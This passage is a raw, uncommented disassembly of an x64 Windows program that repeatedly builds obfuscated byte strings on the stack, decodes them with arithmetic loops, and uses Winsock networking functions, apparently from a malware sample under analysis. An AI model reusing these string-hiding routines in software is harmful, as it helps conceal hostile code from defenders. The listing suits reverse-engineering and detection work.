mov byte [rsp + 0x4d], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x4e], 0x7a
mov byte [rsp + 0x4f], 0x47
mov byte [rsp + 0x50], 0x7a
mov byte [rsp + 0x51], shutdown
mov byte [rsp + 0x52], 0x7a
mov byte [rsp + 0x53], 0x66
mov byte [rsp + 0x54], 0x7a
mov byte [rsp + 0x55], 0x68
mov byte [rsp + 0x56], 0x7a
mov byte [rsp + 0x57], WSACleanup
mov byte [rsp + 0x58], 0x7a
mov byte [rsp + 0x59], 0x45
mov byte [rsp + 0x5a], 0x7a
mov byte [rsp + 0x5b], 0x45
mov byte [rsp + 0x5c], 0x7a
mov byte [rsp + 0x5d], 0x43
mov byte [rsp + 0x5e], 0x7a
mov byte [rsp + 0x5f], 0x44
mov byte [rsp + 0x60], 0x7a
mov byte [rsp + 0x61], 0x7a
mov byte [rsp + 0x62], 0x7a
mov al, byte [rsp + 0x20]
test al, 1
jne 0x140011874
mov eax, 1
movzx edx, byte [rsp + rax + 0x20]
movzx edx, dl
imul edx, edx, 0xffffffc2
mov ebp, edx
add ebp, 0x1d8c
movsx ebp, bp
imul ebp, ebp, 0xffff8103
shr ebp, 0x10
add ebp, edx
add ebp, 0x1d8c
movzx ebp, bp
mov ebx, ebp
shr ebx, 0xf
shr ebp, 6
add ebp, ebx
mov ebx, ebp
shl ebx, 7
sub ebp, ebx
add edx, ebp
add edx, 0x1d8c
add dl, 0x7f
movzx edx, dl
lea ebp, [rdx + rdx*2]
shr ebp, 8
mov ebx, edx
sub bl, bpl
shr bl, 1
add bl, bpl
shr bl, 6
movzx ebx, bl
mov ebp, ebx
shl ebp, 7
sub ebp, ebx
sub dl, bpl
mov byte [rsp + rax + 0x20], dl
add rax, 1
cmp rax, 0x43
jne 0x140011622
jmp 0x140011874
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x21]
mov byte [rsp + 0x21], 0x4d
mov byte [rsp + 0x22], 0x3d
mov byte [rsp + 0x23], 0x45
mov byte [rsp + 0x24], 0x3d
mov byte [rsp + 0x25], 0x4a
mov byte [rsp + 0x26], 0x3d
mov byte [rsp + 0x27], 0x4c
mov byte [rsp + 0x28], 0x3d
mov byte [rsp + 0x29], 0x2f
mov byte [rsp + 0x2a], 0x3d
mov byte [rsp + 0x2b], 0x2c
mov byte [rsp + 0x2c], 0x3d
mov byte [rsp + 0x2d], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x2e], 0x3d
mov byte [rsp + 0x2f], 0x2f
mov byte [rsp + 0x30], 0x3d
mov byte [rsp + 0x31], 0x45
mov byte [rsp + 0x32], 0x3d
mov byte [rsp + 0x33], gethostname
mov byte [rsp + 0x34], 0x3d
mov byte [rsp + 0x35], 0x2f
mov byte [rsp + 0x36], 0x3d
mov byte [rsp + 0x37], 0x2c
mov byte [rsp + 0x38], 0x3d
mov byte [rsp + 0x39], 0x4a
mov byte [rsp + 0x3a], 0x3d
mov byte [rsp + 0x3b], gethostbyname
mov byte [rsp + 0x3c], 0x3d
mov byte [rsp + 0x3d], 0x2f
mov byte [rsp + 0x3e], 0x3d
mov byte [rsp + 0x3f], 0x61
mov byte [rsp + 0x40], 0x3d
mov byte [rsp + 0x41], 6
mov byte [rsp + 0x42], 0x3d
mov byte [rsp + 0x43], gethostname
mov byte [rsp + 0x44], 0x3d
mov byte [rsp + 0x45], 0x18
mov byte [rsp + 0x46], 0x3d
mov byte [rsp + 0x47], 0x2c
mov byte [rsp + 0x48], 0x3d
mov byte [rsp + 0x49], 0x2f
mov byte [rsp + 0x4a], 0x3d
mov byte [rsp + 0x4b], 0x65
mov byte [rsp + 0x4c], 0x3d
mov byte [rsp + 0x4d], gethostname
mov byte [rsp + 0x4e], 0x3d
mov byte [rsp + 0x4f], gethostbyname
mov byte [rsp + 0x50], 0x3d
mov byte [rsp + 0x51], 0x45
mov byte [rsp + 0x52], 0x3d
mov byte [rsp + 0x53], 0x77
mov byte [rsp + 0x54], 0x3d
mov byte [rsp + 0x55], 0x41
mov byte [rsp + 0x56], 0x3d
mov byte [rsp + 0x57], 6
mov byte [rsp + 0x58], 0x3d
mov byte [rsp + 0x59], 6
mov byte [rsp + 0x5a], 0x3d
mov byte [rsp + 0x5b], 0x53
mov byte [rsp + 0x5c], 0x3d
mov byte [rsp + 0x5d], WSAGetLastError
mov byte [rsp + 0x5e], 0x3d
mov byte [rsp + 0x5f], 0x3d
mov byte [rsp + 0x60], 0x3d
mov al, byte [rsp + 0x20]
test al, 1
jne 0x140011874
xor eax, eax
movzx edx, byte [rsp + rax + 0x21]
movzx edx, dl
lea ebp, [rdx + rdx*8]
lea ebp, [rbp + rbp*2]
lea ebx, [rdx + rbp]
add ebx, 0xfffff954
add edx, ebp
movsx ebp, bx
imul ebp, ebp, 0xffff8103
shr ebp, 0x10
add ebp, edx
add ebp, 0xfffff954
movzx ebp, bp
mov ebx, ebp
shr ebx, 0xf
shr ebp, 6
add ebp, ebx
mov ebx, ebp
shl ebx, 7
sub ebp, ebx
add edx, ebp
add edx, 0xfffff954
add dl, 0x7f
movzx edx, dl
lea ebp, [rdx + rdx*2]
shr ebp, 8
mov ebx, edx
sub bl, bpl
shr bl, 1
add bl, bpl
shr bl, 6
movzx ebx, bl
mov ebp, ebx
shl ebp, 7
sub ebp, ebx
sub dl, bpl
mov byte [rsp + rax + 0x21], dl
add rax, 1
cmp rax, 0x40
jne 0x1400117f6
call fcn.14000eec0
mov r12d, 1
jmp 0x1400109b9
mov eax, dword [0x1400503b0]
cmp eax, 0xe
jne 0x140011d1a
mov rdi, qword [0x140051e98]
test rdi, rdi
je 0x140011a89
lea r14, [rsp + 0x21]
lea rbp, [rsp + 0x90]
jmp 0x1400118d8
mov rcx, r14
mov rdx, rdi
call fcn.14000eec0
mov rcx, rdi
mov rdx, rbp
call fcn.140013b00
mov rdi, qword [rdi + 0x8000]
test rdi, rdi
je 0x140011a89
mov byte [rsp + 0x20], 0
mov byte [rsp + 0x21], 0x60
mov byte [rsp + 0x22], 0x41
mov byte [rsp + 0x23], 0x29
mov byte [rsp + 0x24], 0x41
mov byte [rsp + 0x25], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x26], 0x41
mov byte [rsp + 0x27], 2
mov byte [rsp + 0x28], 0x41
mov byte [rsp + 0x29], 0x29
mov byte [rsp + 0x2a], 0x41
mov byte [rsp + 0x2b], setsockopt
mov byte [rsp + 0x2c], 0x41
mov byte [rsp + 0x2d], gethostbyname
mov byte [rsp + 0x2e], 0x41
mov byte [rsp + 0x2f], 0x69
mov byte [rsp + 0x30], 0x41
mov byte [rsp + 0x31], gethostname
mov byte [rsp + 0x32], 0x41
mov byte [rsp + 0x33], 0x55
mov byte [rsp + 0x34], 0x41
mov byte [rsp + 0x35], 0x42
mov byte [rsp + 0x36], 0x41
mov byte [rsp + 0x37], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x38], 0x41
mov byte [rsp + 0x39], 2
mov byte [rsp + 0x3a], 0x41
mov byte [rsp + 0x3b], 0x1b
mov byte [rsp + 0x3c], 0x41
mov byte [rsp + 0x3d], 0x3d
mov byte [rsp + 0x3e], 0x41
mov byte [rsp + 0x3f], gethostname
mov byte [rsp + 0x40], 0x41
mov byte [rsp + 0x41], 7
mov byte [rsp + 0x42], 0x41
mov byte [rsp + 0x43], gethostbyname
mov byte [rsp + 0x44], 0x41
mov byte [rsp + 0x45], gethostname
mov byte [rsp + 0x46], 0x41
mov byte [rsp + 0x47], 0x3d
mov byte [rsp + 0x48], 0x41
mov byte [rsp + 0x49], 7
mov byte [rsp + 0x4a], 0x41
mov byte [rsp + 0x4b], 0x55
mov byte [rsp + 0x4c], 0x41
mov byte [rsp + 0x4d], 0x29
mov byte [rsp + 0x4e], 0x41
mov byte [rsp + 0x4f], gethostname
mov byte [rsp + 0x50], 0x41
mov byte [rsp + 0x51], 0x58
mov byte [rsp + 0x52], 0x41
mov byte [rsp + 0x53], 0x55
mov byte [rsp + 0x54], 0x41
mov byte [rsp + 0x55], 0x49
mov byte [rsp + 0x56], 0x41
mov byte [rsp + 0x57], 0x41
mov byte [rsp + 0x58], 0x41
mov al, byte [rsp + 0x20]
test al, 1
jne 0x1400118b2
mov eax, 1
nop word cs:[rax + rax]
movzx ecx, byte [rsp + rax + 0x20]
movzx ecx, cl
imul ecx, ecx, 0xffffffe6
mov edx, ecx
add edx, 0x69a
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x69a
movzx edx, dx
mov esi, edx
shr esi, 0xf
shr edx, 6
add edx, esi
mov esi, edx
shl esi, 7
sub edx, esi
add ecx, edx
add ecx, 0x69a
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x20], cl
add rax, 1
cmp rax, 0x39
jne 0x140011a10
jmp 0x1400118b2
mov rdi, qword [rsp + 0x90]
test rdi, rdi
je 0x140011d1a
lea r14, [rsp + 0x21]
movaps xmm6, xmmword [section..rdata]
lea rbp, [rsp + 0xd0]
jmp 0x140011adb
mov rcx, rbp
mov rdx, rsi
mov r9, rdi
call fcn.1400015c0
mov ecx, 6
mov rdx, rbp
call fcn.140031b70
mov rdi, qword [rdi + 0x7d00]
test rdi, rdi
je 0x140011d1a
mov byte [rsp + 0x20], 0
mov byte [rsp + 0x21], 0x59
mov byte [rsp + 0x22], 0x58
mov byte [rsp + 0x23], pe_nt_image_headers64
mov byte [rsp + 0x24], 0x58
mov byte [rsp + 0x25], 0x6a
mov byte [rsp + 0x26], 0x58
mov byte [rsp + 0x27], 0x2d
mov byte [rsp + 0x28], 0x58
mov byte [rsp + 0x29], pe_nt_image_headers64
mov byte [rsp + 0x2a], 0x58
mov byte [rsp + 0x2b], 0x19
mov byte [rsp + 0x2c], 0x58
mov byte [rsp + 0x2d], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x2e], 0x58
mov byte [rsp + 0x2f], 0x4d
mov byte [rsp + 0x30], 0x58
mov byte [rsp + 0x31], shutdown
mov byte [rsp + 0x32], 0x58
mov byte [rsp + 0x33], shutdown
mov byte [rsp + 0x34], 0x58
mov byte [rsp + 0x35], 2
mov byte [rsp + 0x36], 0x58
mov byte [rsp + 0x37], 0x6a
mov byte [rsp + 0x38], 0x58
mov byte [rsp + 0x39], 0x2d
mov byte [rsp + 0x3a], 0x58
mov byte [rsp + 0x3b], gethostname
mov byte [rsp + 0x3c], 0x58
mov byte [rsp + 0x3d], gethostbyname
mov byte [rsp + 0x3e], 0x58
mov byte [rsp + 0x3f], shutdown
mov byte [rsp + 0x40], 0x58
mov byte [rsp + 0x41], 0x7b
mov byte [rsp + 0x42], 0x58
mov byte [rsp + 0x43], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x44], 0x58
mov byte [rsp + 0x45], shutdown
mov byte [rsp + 0x46], 0x58
mov byte [rsp + 0x47], gethostbyname
mov byte [rsp + 0x48], 0x58
mov byte [rsp + 0x49], 0x7b
mov byte [rsp + 0x4a], 0x58
mov byte [rsp + 0x4b], shutdown
mov byte [rsp + 0x4c], 0x58
mov byte [rsp + 0x4d], pe_nt_image_headers64
mov byte [rsp + 0x4e], 0x58
mov byte [rsp + 0x4f], shutdown
mov byte [rsp + 0x50], 0x58
mov byte [rsp + 0x51], 0x61
mov byte [rsp + 0x52], 0x58
mov byte [rsp + 0x53], 0x6a
mov byte [rsp + 0x54], 0x58
mov byte [rsp + 0x55], pe_nt_image_headers64
mov byte [rsp + 0x56], 0x58
mov byte [rsp + 0x57], gethostbyname
mov byte [rsp + 0x58], 0x58
mov byte [rsp + 0x59], shutdown
mov byte [rsp + 0x5a], 0x58
mov byte [rsp + 0x5b], 0xf
mov byte [rsp + 0x5c], 0x58
mov byte [rsp + 0x5d], shutdown
mov byte [rsp + 0x5e], 0x58
mov byte [rsp + 0x5f], 0x23
mov byte [rsp + 0x60], 0x58
mov byte [rsp + 0x61], 0x58
mov byte [rsp + 0x62], 0x58
mov al, byte [rsp + 0x20]
test al, 1
jne 0x140011cb4
mov eax, 1
nop dword [rax + rax]
movzx ecx, byte [rsp + rax + 0x20]
movzx ecx, cl
imul ecx, ecx, 0xffffffd4
mov edx, ecx
add edx, 0xf20
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xf20
movzx edx, dx
mov esi, edx
shr esi, 0xf
shr edx, 6
add edx, esi
mov esi, edx
shl esi, 7
sub edx, esi
add ecx, edx
add ecx, 0xf20
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x20], cl
add rax, 1
cmp rax, 0x43
jne 0x140011c40
mov rcx, r14
mov rdx, rdi
call fcn.14000eec0
mov qword [rsp + 0xd0], 0
movups xmmword [rsp + 0xe0], xmm6
mov word [rsp + 0xd0], 0
mov rcx, rdi
call fcn.140036e08
mov rsi, rax
cmp rax, 7
ja 0x140011ab0
mov qword [rsp + 0xe0], rsi
mov r8, rsi
add r8, rsi
mov rcx, rbp
mov rdx, rdi
call fcn.140033760
mov word [rsp + rsi*2 + 0xd0], 0
jmp 0x140011abe
mov eax, dword [0x1400503b0]
mov ecx, eax
and ecx, 0xfffffffe
cmp ecx, 0xa
jne 0x140012032
mov dword [rsp + 0x80], r15d
lea rcx, [rsp + 0xa0]
call section..text
test eax, eax
je 0x140012024
mov rsi, qword [rsp + 0xa0]
test rsi, rsi
je 0x140012024
lea r12, [rsp + 0x21]
xorps xmm6, xmm6
lea r15, [rsp + 0xb0]
movabs rdi, 0x7ffffffffffffffe
jmp 0x140011db4
movups xmm0, xmmword [rbp]
movaps xmmword [rsp + 0xb0], xmm0
mov r14d, 7
mov qword [rsp + 0xc0], r13
mov qword [rsp + 0xc8], r14
mov ecx, 5
mov rdx, r15
call fcn.140031b70
mov rsi, qword [rsi + 0x20]
test rsi, rsi
je 0x140012024
cmp qword [rsi + 0x18], 8
mov rdx, rsi
jb 0x140011dc1
mov rdx, qword [rsi]
mov byte [rsp + 0x20], 0
mov byte [rsp + 0x21], 0x65
mov byte [rsp + 0x22], 0x61
mov byte [rsp + 0x23], 0x62
mov byte [rsp + 0x24], 0x61
mov byte [rsp + 0x25], 0x2a
mov byte [rsp + 0x26], 0x61
mov byte [rsp + 0x27], reloc.WS2_32.dll_gethostbyname
mov byte [rsp + 0x28], 0x61
mov byte [rsp + 0x29], 0x62
mov byte [rsp + 0x2a], 0x61
mov byte [rsp + 0x2b], 0x63
mov byte [rsp + 0x2c], 0x61
mov byte [rsp + 0x2d], 0x57
mov byte [rsp + 0x2e], 0x61
mov byte [rsp + 0x2f], gethostname
mov byte [rsp + 0x30], 0x61
mov byte [rsp + 0x31], 0x47
mov byte [rsp + 0x32], 0x61
mov byte [rsp + 0x33], 0x4b
mov byte [rsp + 0x34], 0x61
mov byte [rsp + 0x35], 7
mov byte [rsp + 0x36], 0x61
mov byte [rsp + 0x37], 0x2a
mov byte [rsp + 0x38], 0x61
mov byte [rsp + 0x39], reloc.WS2_32.dll_gethostbyname
mov byte [rsp + 0x3a], 0x61
mov byte [rsp + 0x3b], 0x58
mov byte [rsp + 0x3c], 0x61
mov byte [rsp + 0x3d], 0x4c
mov byte [rsp + 0x3e], 0x61
mov byte [rsp + 0x3f], 0x47
mov byte [rsp + 0x40], 0x61
mov byte [rsp + 0x41], WSAGetLastError
mov byte [rsp + 0x42], 0x61
mov byte [rsp + 0x43], 0x57
mov byte [rsp + 0x44], 0x61
mov byte [rsp + 0x45], 0x47
mov byte [rsp + 0x46], 0x61
mov byte [rsp + 0x47], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x48], 0x61
mov byte [rsp + 0x49], reloc.WS2_32.dll_gethostbyname
mov byte [rsp + 0x4a], 0x61
mov byte [rsp + 0x4b], 0x63
mov byte [rsp + 0x4c], 0x61
mov byte [rsp + 0x4d], setsockopt
mov byte [rsp + 0x4e], 0x61
mov byte [rsp + 0x4f], 7
mov byte [rsp + 0x50], 0x61
mov byte [rsp + 0x51], 0x47
mov byte [rsp + 0x52], 0x61
mov byte [rsp + 0x53], 0x3b
mov byte [rsp + 0x54], 0x61
mov byte [rsp + 0x55], 0x4b
mov byte [rsp + 0x56], 0x61
mov byte [rsp + 0x57], reloc.WS2_32.dll_inet_ntoa
mov byte [rsp + 0x58], 0x61
mov byte [rsp + 0x59], 0x61
mov byte [rsp + 0x5a], 0x61
mov al, byte [rsp + 0x20]
test al, 1
jne 0x140011f77
mov eax, 1
nop dword [rax]
movzx ecx, byte [rsp + rax + 0x20]
movzx ecx, cl
imul ecx, ecx, 0xfffffff5
mov ebp, ecx
add ebp, 0x42b
movsx ebp, bp
imul ebp, ebp, 0xffff8103
shr ebp, 0x10
add ebp, ecx
add ebp, 0x42b
movzx ebp, bp
mov ebx, ebp
shr ebx, 0xf
shr ebp, 6
add ebp, ebx
mov ebx, ebp
shl ebx, 7
sub ebp, ebx
add ecx, ebp
add ecx, 0x42b
add cl, 0x7f
movzx ecx, cl
lea ebp, [rcx + rcx*2]
shr ebp, 8
mov ebx, ecx
sub bl, bpl
shr bl, 1
add bl, bpl
shr bl, 6
movzx ebx, bl
mov ebp, ebx
shl ebp, 7
sub ebp, ebx
sub cl, bpl
mov byte [rsp + rax + 0x20], cl
add rax, 1
cmp rax, 0x3b
jne 0x140011f00
mov rcx, r12
call fcn.14000eec0
mov qword [rsp + 0xb0], 0
lea rax, [rsp + 0xc0]
movups xmmword [rax], xmm6
mov r13, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 8
mov rbp, rsi
jb 0x140011fa7
mov rbp, qword [rsi]
cmp r13, 7
jbe 0x140011d78
mov r14, r13
or r14, 7
cmp r14, rdi
mov rax, rdi
cmovb rax, r14
lea rcx, [rax + rax]
cmp rax, 0x7ff
jb 0x140011ff8
movabs rdx, 0x7fffffffffffffec
cmp rax, rdx
jae 0x1400130b8
add rcx, 0x29
call fcn.140031dec
lea rcx, [rax + 0x27]
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
jmp 0x140012004
add rcx, 2
call fcn.140031dec
mov rcx, rax
mov qword [rsp + 0xb0], rcx
lea r8, [r13 + 2]
add r8, r13
mov rdx, rbp
call fcn.140033760
jmp 0x140011d8a
mov eax, dword [0x1400503b0]
mov r15d, dword [rsp + 0x80]
cmp eax, 0xc
je 0x140012040
cmp eax, 0xa
jne 0x1400121f6
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x21]
mov byte [rsp + 0x21], 3
mov byte [rsp + 0x22], 8
mov byte [rsp + 0x23], 0x66
mov byte [rsp + 0x24], 8
mov byte [rsp + 0x25], 0x2d
mov byte [rsp + 0x26], 8
mov byte [rsp + 0x27], 0x60
mov byte [rsp + 0x28], 8
mov byte [rsp + 0x29], 0x66
mov byte [rsp + 0x2a], 8
mov byte [rsp + 0x2b], 0x45
mov byte [rsp + 0x2c], 8
mov byte [rsp + 0x2d], 0x54
mov byte [rsp + 0x2e], 8
mov byte [rsp + 0x2f], 0x3f
mov byte [rsp + 0x30], 8
mov byte [rsp + 0x31], 0x68
mov byte [rsp + 0x32], 8
mov byte [rsp + 0x33], 0x63
mov byte [rsp + 0x34], 8
mov byte [rsp + 0x35], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x36], 8
mov byte [rsp + 0x37], 0x2d
mov byte [rsp + 0x38], 8
mov byte [rsp + 0x39], 0x60
mov byte [rsp + 0x3a], 8
mov byte [rsp + 0x3b], gethostbyname
mov byte [rsp + 0x3c], 8
mov byte [rsp + 0x3d], 0x42
mov byte [rsp + 0x3e], 8
mov byte [rsp + 0x3f], 0x68
mov byte [rsp + 0x40], 8
mov byte [rsp + 0x41], 0x57
mov byte [rsp + 0x42], 8
mov byte [rsp + 0x43], 0x54
mov byte [rsp + 0x44], 8
mov byte [rsp + 0x45], 0x68
mov byte [rsp + 0x46], 8
mov byte [rsp + 0x47], 0x54
mov byte [rsp + 0x48], 8
mov byte [rsp + 0x49], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x4a], 8
mov byte [rsp + 0x4b], 0x66
mov byte [rsp + 0x4c], 8
mov byte [rsp + 0x4d], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x4e], 8
mov byte [rsp + 0x4f], 0x57
mov byte [rsp + 0x50], 8
mov byte [rsp + 0x51], 0x60
mov byte [rsp + 0x52], 8
mov byte [rsp + 0x53], 0x4b
mov byte [rsp + 0x54], 8
mov byte [rsp + 0x55], shutdown
mov byte [rsp + 0x56], 8
mov byte [rsp + 0x57], 8
mov byte [rsp + 0x58], 8
mov al, byte [rsp + 0x20]
test al, 1
jne 0x1400121e6
mov eax, 1
movzx edx, byte [rsp + rax + 0x20]
movzx edx, dl
imul edx, edx, 0xffffffd6
mov ebp, edx
add ebp, 0x150
movsx ebp, bp
imul ebp, ebp, 0xffff8103
shr ebp, 0x10
add ebp, edx
add ebp, 0x150
movzx ebp, bp
mov ebx, ebp
shr ebx, 0xf
shr ebp, 6
add ebp, ebx
mov ebx, ebp
shl ebx, 7
sub ebp, ebx
add edx, ebp
add edx, 0x150
add dl, 0x7f
movzx edx, dl
lea ebp, [rdx + rdx*2]
shr ebp, 8
mov ebx, edx
sub bl, bpl
shr bl, 1
add bl, bpl
shr bl, 6
movzx ebx, bl
mov ebp, ebx
shl ebp, 7
sub ebp, ebx
sub dl, bpl
mov byte [rsp + rax + 0x20], dl
add rax, 1
cmp rax, 0x39
jne 0x14001216f
call fcn.14000eec0
call fcn.140014320
mov eax, dword [0x1400503b0]
lea ecx, [rax - 0xa]
cmp ecx, 4
ja 0x14001264c
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x21]
mov byte [rsp + 0x21], reloc.WS2_32.dll_inet_ntoa
mov byte [rsp + 0x22], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x23], 0x79
mov byte [rsp + 0x24], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x25], 0x27
mov byte [rsp + 0x26], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x27], 0x63
mov byte [rsp + 0x28], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x29], 0x79
mov byte [rsp + 0x2a], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x2b], 0
mov byte [rsp + 0x2c], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x2d], gethostname
mov byte [rsp + 0x2e], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x2f], 0x69
mov byte [rsp + 0x30], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x31], 0x56
mov byte [rsp + 0x32], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x33], 0x1b
mov byte [rsp + 0x34], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x35], 0x27
mov byte [rsp + 0x36], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x37], 0
mov byte [rsp + 0x38], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x39], 0x79
mov byte [rsp + 0x3a], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x3b], 0x56
mov byte [rsp + 0x3c], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x3d], 0x5e
mov byte [rsp + 0x3e], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x3f], 0x42
mov byte [rsp + 0x40], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x41], 0x63
mov byte [rsp + 0x42], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x43], 0x56
mov byte [rsp + 0x44], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x45], WSAGetLastError
mov byte [rsp + 0x46], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x47], 0x53
mov byte [rsp + 0x48], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x49], 0x27
mov byte [rsp + 0x4a], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x4b], 0x63
mov byte [rsp + 0x4c], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x4d], 0x3d
mov byte [rsp + 0x4e], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x4f], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x50], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x51], 0x56
mov byte [rsp + 0x52], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x53], 0x79
mov byte [rsp + 0x54], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x55], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x56], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x57], 0x63
mov byte [rsp + 0x58], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x59], 0x53
mov byte [rsp + 0x5a], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x5b], 0x27
mov byte [rsp + 0x5c], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x5d], 0x48
mov byte [rsp + 0x5e], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x5f], WSAGetLastError
mov byte [rsp + 0x60], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x61], 0x56
mov byte [rsp + 0x62], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x63], 0x79
mov byte [rsp + 0x64], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x65], 0x42
mov byte [rsp + 0x66], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x67], 0x56
mov byte [rsp + 0x68], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x69], 0x5e
mov byte [rsp + 0x6a], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x6b], 0
mov byte [rsp + 0x6c], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x6d], gethostname
mov byte [rsp + 0x6e], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x6f], 0
mov byte [rsp + 0x70], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x71], WSAGetLastError
mov byte [rsp + 0x72], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x73], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x74], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x75], WSACleanup
mov byte [rsp + 0x76], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x77], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x78], reloc.WS2_32.dll_WSAStartup
mov al, byte [rsp + 0x20]
test al, 1
jne 0x140012448
mov eax, 1
movzx edx, byte [rsp + rax + 0x20]
movzx edx, dl
imul edx, edx, 0xffffffe9
mov ebp, edx
add ebp, 0xa55
movsx ebp, bp
imul ebp, ebp, 0xffff8103
shr ebp, 0x10
add ebp, edx
add ebp, 0xa55
movzx ebp, bp
mov ebx, ebp
shr ebx, 0xf
shr ebp, 6
add ebp, ebx
mov ebx, ebp
shl ebx, 7
sub ebp, ebx
add edx, ebp
add edx, 0xa55
add dl, 0x7f
movzx edx, dl
lea ebp, [rdx + rdx*2]
shr ebp, 8
mov ebx, edx
sub bl, bpl
shr bl, 1
add bl, bpl
shr bl, 6
movzx ebx, bl
mov ebp, ebx
shl ebp, 7
sub ebp, ebx
sub dl, bpl
mov byte [rsp + rax + 0x20], dl
add rax, 1
cmp rax, 0x59
jne 0x1400123d1
call fcn.14000eec0
mov ecx, 4
call fcn.140031ab0
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x21]
mov byte [rsp + 0x21], WSAGetLastError
mov byte [rsp + 0x22], 0x52
mov byte [rsp + 0x23], 0x42
mov byte [rsp + 0x24], 0x52
mov byte [rsp + 0x25], 0x42
mov byte [rsp + 0x26], 0x52
mov byte [rsp + 0x27], 2
mov byte [rsp + 0x28], 0x52
mov byte [rsp + 0x29], WSACleanup
mov byte [rsp + 0x2a], 0x52
mov byte [rsp + 0x2b], shutdown
mov byte [rsp + 0x2c], 0x52
mov byte [rsp + 0x2d], 0x1e
mov byte [rsp + 0x2e], 0x52
mov byte [rsp + 0x2f], gethostbyname
mov byte [rsp + 0x30], 0x52
mov byte [rsp + 0x31], 0x19
mov byte [rsp + 0x32], 0x52
mov byte [rsp + 0x33], 0x4c
mov byte [rsp + 0x34], 0x52
mov byte [rsp + 0x35], 2
mov byte [rsp + 0x36], 0x52
mov byte [rsp + 0x37], 0x2e
mov byte [rsp + 0x38], 0x52
mov byte [rsp + 0x39], 0x4c
mov byte [rsp + 0x3a], 0x52
mov byte [rsp + 0x3b], gethostbyname
mov byte [rsp + 0x3c], 0x52
mov byte [rsp + 0x3d], shutdown
mov byte [rsp + 0x3e], 0x52
mov byte [rsp + 0x3f], 0x1e
mov byte [rsp + 0x40], 0x52
mov byte [rsp + 0x41], 0x56
mov byte [rsp + 0x42], 0x52
mov byte [rsp + 0x43], WSACleanup
mov byte [rsp + 0x44], 0x52
mov byte [rsp + 0x45], 2
mov byte [rsp + 0x46], 0x52
mov byte [rsp + 0x47], 0x4c
mov byte [rsp + 0x48], 0x52
mov byte [rsp + 0x49], 0x1e
mov byte [rsp + 0x4a], 0x52
mov byte [rsp + 0x4b], 0x29
mov byte [rsp + 0x4c], 0x52
mov byte [rsp + 0x4d], shutdown
